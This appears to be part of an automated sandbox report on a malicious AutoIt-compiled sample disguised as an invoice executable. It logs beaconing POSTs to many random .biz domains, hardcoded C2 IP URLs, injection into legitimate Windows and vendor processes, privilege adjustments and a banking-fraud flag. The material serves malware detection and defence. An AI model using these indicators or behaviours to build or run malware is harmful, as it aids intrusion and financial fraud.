Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: bumxkqgxu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dwrqljrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oshhkdluh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yunalwv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yunalwv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lrxdmhrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wllvnzb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gnqgo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jhvzpcfg.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: acwjcqqv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yauexmxk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /tgcwttfqletfhyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: iuzpxe.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852

Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz
Source: global traffic	DNS traffic detected: DNS query: ssbzmoy.biz
Source: global traffic	DNS traffic detected: DNS query: cvgrf.biz
Source: global traffic	DNS traffic detected: DNS query: npukfztj.biz
Source: global traffic	DNS traffic detected: DNS query: przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: zlenh.biz
Source: global traffic	DNS traffic detected: DNS query: knjghuig.biz
Source: global traffic	DNS traffic detected: DNS query: uhxqin.biz
Source: global traffic	DNS traffic detected: DNS query: anpmnmxo.biz
Source: global traffic	DNS traffic detected: DNS query: lpuegx.biz
Source: global traffic	DNS traffic detected: DNS query: vjaxhpbji.biz
Source: global traffic	DNS traffic detected: DNS query: xlfhhhm.biz
Source: global traffic	DNS traffic detected: DNS query: ifsaia.biz
Source: global traffic	DNS traffic detected: DNS query: saytjshyf.biz
Source: global traffic	DNS traffic detected: DNS query: vcddkls.biz
Source: global traffic	DNS traffic detected: DNS query: fwiwk.biz
Source: global traffic	DNS traffic detected: DNS query: tbjrpv.biz
Source: global traffic	DNS traffic detected: DNS query: deoci.biz
Source: global traffic	DNS traffic detected: DNS query: gytujflc.biz
Source: global traffic	DNS traffic detected: DNS query: qaynky.biz
Source: global traffic	DNS traffic detected: DNS query: bumxkqgxu.biz
Source: global traffic	DNS traffic detected: DNS query: dwrqljrr.biz
Source: global traffic	DNS traffic detected: DNS query: nqwjmb.biz
Source: global traffic	DNS traffic detected: DNS query: ytctnunms.biz
Source: global traffic	DNS traffic detected: DNS query: myups.biz
Source: global traffic	DNS traffic detected: DNS query: oshhkdluh.biz
Source: global traffic	DNS traffic detected: DNS query: yunalwv.biz
Source: global traffic	DNS traffic detected: DNS query: jpskm.biz
Source: global traffic	DNS traffic detected: DNS query: lrxdmhrr.biz
Source: global traffic	DNS traffic detected: DNS query: wllvnzb.biz
Source: global traffic	DNS traffic detected: DNS query: gnqgo.biz
Source: global traffic	DNS traffic detected: DNS query: jhvzpcfg.biz
Source: global traffic	DNS traffic detected: DNS query: acwjcqqv.biz
Source: global traffic	DNS traffic detected: DNS query: lejtdj.biz
Source: global traffic	DNS traffic detected: DNS query: vyome.biz
Source: global traffic	DNS traffic detected: DNS query: yauexmxk.biz
Source: global traffic	DNS traffic detected: DNS query: iuzpxe.biz

Source: unknown

HTTP traffic detected: POST /qbdegkuges HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 28 Nov 2024 11:13:52 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 28 Nov 2024 11:13:53 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 28 Nov 2024 11:14:11 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 28 Nov 2024 11:14:12 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: armsvc.exe, 00000002.00000002.620027406.000000000063C000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.620027406.0000000000655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://13.251.16.150/nqtlxhjrub
Source: invoice_96.73.exe, 00000000.00000002.356954240.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/bpewylwxymwihal
Source: invoice_96.73.exe, 00000000.00000002.356954240.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/bpewylwxymwihal:
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: armsvc.exe, 00000002.00000003.418303558.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: armsvc.exe, 00000002.00000003.418303558.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Aut2exe_x64.exe.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/
Source: armsvc.exe, 00000002.00000003.586384130.0000000001570000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.580781457.0000000001570000.00000004.00001000.00020000.00000000.sdmp, Aut2exe_x64.exe.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/8
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: RdrServicesUpdater.exe.2.dr	String found in binary or memory: http://www.winimage.com/zLibDll
Source: armsvc.exe, 00000002.00000003.535352318.00000000015A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxupdate_urlHKEY_LOCAL_MACHINE
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: armsvc.exe, 00000002.00000003.597459044.0000000001570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/8
Source: armsvc.exe, 00000002.00000003.517070722.0000000001490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 00000004.00000002.387515587.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.387578097.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: invoice_96.73.exe, 00000000.00000000.345947431.00000000004AE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_484a09d7-f
Source: invoice_96.73.exe, 00000000.00000000.345947431.00000000004AE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f0639c96-e
Source: invoice_96.73.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_70dc9359-2
Source: invoice_96.73.exe	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d3d9a115-a

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: invoice_96.73.exe

Source: C:\Users\user\Desktop\invoice_96.73.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\23f9eaead4df6ab2.bin			Jump to behavior
Source: C:\Windows\System32\msdtc.exe	File created: C:\Windows\DtcInstall.log			Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Load Driver

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Source: ehrecvr.exe.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: CCleaner.exe.2.dr	Static PE information: Resource name: BRANDING type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: CCleaner64.exe.2.dr	Static PE information: Resource name: BRANDING type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RdrServicesUpdater.exe.2.dr	Static PE information: Resource name: ZIP type: Zip archive data, at least v2.0 to extract, compression method=deflate

Source: elevation_service.exe.2.dr

Static PE information: Number of sections : 12 > 10

